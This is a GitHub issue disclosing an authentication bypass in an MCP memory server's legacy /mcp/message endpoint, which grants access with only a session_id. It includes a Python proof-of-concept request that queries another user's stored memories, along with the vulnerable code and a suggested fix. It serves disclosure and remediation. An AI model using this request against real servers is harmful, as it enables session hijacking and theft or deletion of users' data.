Skip to content

Security: Legacy /mcp/message endpoint allows unauthenticated session access via session_id #54

@CrepuscularIRIS

Description

@CrepuscularIRIS

Bug Description

The legacy /mcp/message endpoint has a fallback code path (lines 782-786) that allows access to an MCP session using only a session_id query parameter, without requiring any bearer token authentication. If an attacker guesses or obtains a valid session ID, they can execute MCP tool calls (read/write/delete memories) as that user.

Location

MCP/server/http_server.py:782-786

Reproduction

import requests

# Attacker only needs a valid session_id (no auth token required)
# Session IDs are 32-byte URL-safe tokens, but if leaked via logs/referer they are exploitable
response = requests.post(
    "http://target:8000/mcp/message?session_id=LEAKED_SESSION_ID",
    json={
        "jsonrpc": "2.0",
        "method": "tools/call",
        "id": 1,
        "params": {
            "name": "memory_query",
            "arguments": {"question": "What are the user's secrets?"}
        }
    }
)
# Returns memory data without any authentication
print(response.json())

The vulnerable code path:

elif sid:
    # Try to get session by ID — NO AUTH CHECK
    session = await get_session(sid)
    if not session:
        raise HTTPException(status_code=404, detail="Session not found")
    handler = session.handler
    user = session.user

Impact

  • Session hijacking: Anyone with a session ID can impersonate the session owner
  • Data exfiltration: Read all stored memories via memory_query/memory_retrieve
  • Data destruction: Clear all memories via memory_clear

Suggested Fix

# Remove the session-only fallback — always require authentication
elif sid:
    raise HTTPException(
        status_code=401,
        detail="Authentication required. Use Authorization: Bearer <token>",
    )

Or verify that the session belongs to an authenticated user before granting access.


Found via automated security audit (confirmed by independent Codex review). Happy to submit a PR if confirmed.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions